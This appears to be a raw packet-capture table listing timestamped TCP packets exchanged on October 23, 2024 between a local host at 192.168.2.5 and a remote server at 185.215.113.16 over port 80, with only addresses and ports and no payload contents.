Oct 23, 2024 15:49:12.271229982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271231890 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271244049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271250963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271259069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271267891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271284103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271322012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271678925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271725893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271792889 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271806002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271873951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271874905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271887064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.271917105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271943092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.271997929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272010088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272020102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272053957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272080898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272221088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272232056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272243023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272255898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272269011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272269964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272298098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272301912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272319078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272345066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272514105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272559881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272598982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272609949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272619963 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272631884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272646904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272653103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272803068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272803068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272862911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272919893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272933960 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272933960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272958040 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272979021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.272981882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.272994995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.273005962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.273019075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.273029089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.273032904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.273047924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.273075104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.292694092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.292704105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.292712927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.292745113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.292787075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.312669992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.312738895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.312908888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.312917948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.312927008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.312964916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.312983036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345422983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345479965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345493078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345539093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345545053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345581055 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345598936 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345632076 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345642090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345678091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345695019 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345724106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345726013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345761061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345783949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345807076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345813990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345844030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.345875978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.345890045 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386430979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386451006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386461020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386508942 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386543036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386708975 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386754036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386760950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386771917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386816978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386830091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386841059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386852026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386864901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386868000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386894941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386919022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386928082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386939049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386949062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386961937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.386965036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.386976957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387003899 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387264967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387281895 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387310028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387329102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387329102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387377024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387398958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387409925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387444019 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387480974 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387491941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387531042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387567043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387578011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387589931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387600899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387618065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387633085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387891054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387908936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387918949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.387934923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.387964010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388015032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388058901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388094902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388106108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388115883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388127089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388135910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388171911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388648033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388665915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388674021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388695002 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388717890 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388726950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388737917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388747931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388761997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388765097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388787985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.388789892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388817072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.388843060 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.409152985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.409193039 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.409209013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.409209013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.409235954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.409252882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.428711891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.428725004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.428735018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.428808928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.461252928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461316109 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.461344004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461357117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461366892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461378098 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461389065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461389065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.461401939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461415052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.461430073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461441040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461452007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.461452961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.461474895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.461488962 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.501868963 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.501882076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.501892090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.501903057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.501924038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.501940012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.501955032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.501966000 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502003908 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502285004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502379894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502391100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502434015 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502454042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502465010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502475977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502487898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502500057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502507925 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502511024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502531052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502533913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502542973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502553940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502573013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502599001 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.502978086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.502990007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503000021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503031015 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503056049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503067970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503122091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503125906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503134012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503179073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503190041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503209114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503209114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503241062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503398895 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503416061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503426075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503437996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503447056 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503463030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503479958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503665924 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503678083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503726006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503756046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503767014 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503777027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503803968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503819942 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.503974915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503988981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.503999949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.504034996 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.504043102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.504055977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.504065990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.504076958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.504089117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.504092932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.504112005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.504125118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.523849010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.523860931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.523869991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.523880005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.523890972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.523917913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.523927927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.523950100 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.523967028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.544713020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.544724941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.544732094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.544821024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.576452017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.576509953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.576519012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.576539993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.576574087 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.576589108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.576844931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.576857090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.576868057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.576894999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.576919079 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.576997995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.577008963 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.577054024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.577059031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.577070951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.577119112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.577121019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.577163935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.617533922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617554903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617564917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617630005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.617671967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617683887 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617695093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617731094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.617747068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.617845058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617856026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617865086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.617892981 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.617918968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618051052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618088007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618094921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618099928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618127108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618143082 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618146896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618165970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618177891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618191004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618201971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618211031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618240118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618385077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618396997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618411064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618427992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618433952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618441105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618453026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618453979 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618484020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618514061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618680000 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618726969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618755102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618767023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618777990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618789911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.618802071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.618830919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619010925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619021893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619061947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:12.619079113 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619091988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:12.619102001 CEST	80	49967	185.215.113.16	192.168.2.5
